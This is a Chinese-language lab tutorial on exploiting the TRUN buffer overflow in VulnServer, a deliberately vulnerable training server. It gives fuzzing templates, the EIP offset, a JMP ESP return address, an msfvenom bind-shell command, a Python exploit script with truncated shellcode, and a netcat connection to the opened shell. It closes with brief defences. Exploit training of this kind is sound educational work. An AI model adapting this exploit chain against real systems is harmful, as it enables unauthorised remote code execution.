通过虚构EIP重写来执行TRUN命令
字数 1136 2025-08-25 22:58:40
VulnServer TRUN命令缓冲区溢出漏洞利用教程
1. 环境准备
1.1 目标程序
- VulnServer: 一个基于Windows的线程TCP服务器程序,设计用于漏洞利用学习
- 监听端口: 9999/tcp
- 可用命令: 通过HELP命令查看,除HELP和EXIT外,其他命令都需要一个参数
1.2 测试工具
- SPIKE模糊测试工具
- Wireshark网络分析工具
- Mona.py (Immunity Debugger插件)
- msfvenom (Metasploit框架的一部分)
- Python脚本环境
2. 漏洞发现与分析
2.1 模糊测试TRUN命令
使用SPIKE模板(trun.spk)进行模糊测试:
s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");
2.2 崩溃分析
- 发送约5000字节数据导致程序崩溃
- EAX寄存器包含命令(TRUN)和模糊测试字符串
- ESP和EIP被模糊测试字符串覆盖
3. 漏洞利用开发
3.1 确定缓冲区长度
使用Python脚本发送5000个"A"字符确认崩溃:
#!/usr/bin/python
import socket
host = "192.168.1.129"
port = 9999
buffer = "A"*5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("TRUN " + buffer)
s.close()
3.2 定位EIP覆盖点
- 使用Mona生成5000字节唯一字符串:
!mona pc 5000 - 替换脚本中的缓冲区为唯一字符串
- 崩溃后观察EIP值(示例中为6F43376F)
- 使用Mona确定偏移量:
结果显示偏移量为2002字节!mona findmsp
3.3 验证偏移量
更新Python脚本验证偏移量:
buffer = "A"*2002
buffer += "BBBB" # 覆盖EIP
buffer += "C"*(5000-len(buffer))
3.4 识别坏字符
- 使用Mona生成所有可能的字符(0x00-0xFF):
!mona bytearray - 在脚本中测试这些字符(注意排除NULL字节\x00):
badchars = ("\x01\x02\x03...\xff") # 完整列表见原文
buffer = "A"*2002
buffer += "BBBB"
buffer += badchars
buffer += "C"*(5000-len(buffer))
- 内存转储显示只有NULL字节(\x00)是坏字符
3.5 查找JMP ESP指令
- 使用Mona在essfunc.dll中搜索JMP ESP指令:
!mona jmp -r esp -m "essfunc.dll" - 选择第一个地址: 0x625011AF (需考虑小端格式)
4. 生成并部署Shellcode
4.1 使用msfvenom生成Shellcode
生成绑定TCP的shellcode,排除NULL字节:
msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
4.2 构建最终利用代码
#!/usr/bin/python
import socket
host = "192.168.1.129"
port = 9999
# msfvenom生成的shellcode
shellcode = ("\xdb\xcd\xd9\x74...\x62\xd7") # 完整shellcode见原文
buffer = "A"*2002
buffer += "\xAF\x11\x50\x62" # 625011AF JMP ESP (小端格式)
buffer += "\x90"*16 # NOP sled
buffer += shellcode
buffer += "C"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("TRUN " + buffer)
s.close()
5. 漏洞利用验证
成功执行后:
- 目标机器在4444/tcp端口打开监听
- 可以使用netcat或其他工具连接获取shell:
nc 192.168.1.129 4444
6. 关键点总结
- 偏移量确定: 使用唯一字符串模式定位EIP覆盖点(2002字节)
- 坏字符分析: 确认只有NULL字节(\x00)是坏字符
- 返回地址选择: 使用应用程序自带DLL中的JMP ESP指令(0x625011AF)
- Shellcode构造: 使用msfvenom生成排除坏字符的绑定TCP shellcode
- NOP sled: 添加16字节NOP指令(\x90)增加可靠性
7. 防御建议
- 实现输入验证和长度检查
- 使用安全编译选项(/GS)
- 启用DEP和ASLR保护机制
- 避免使用不安全的字符串处理函数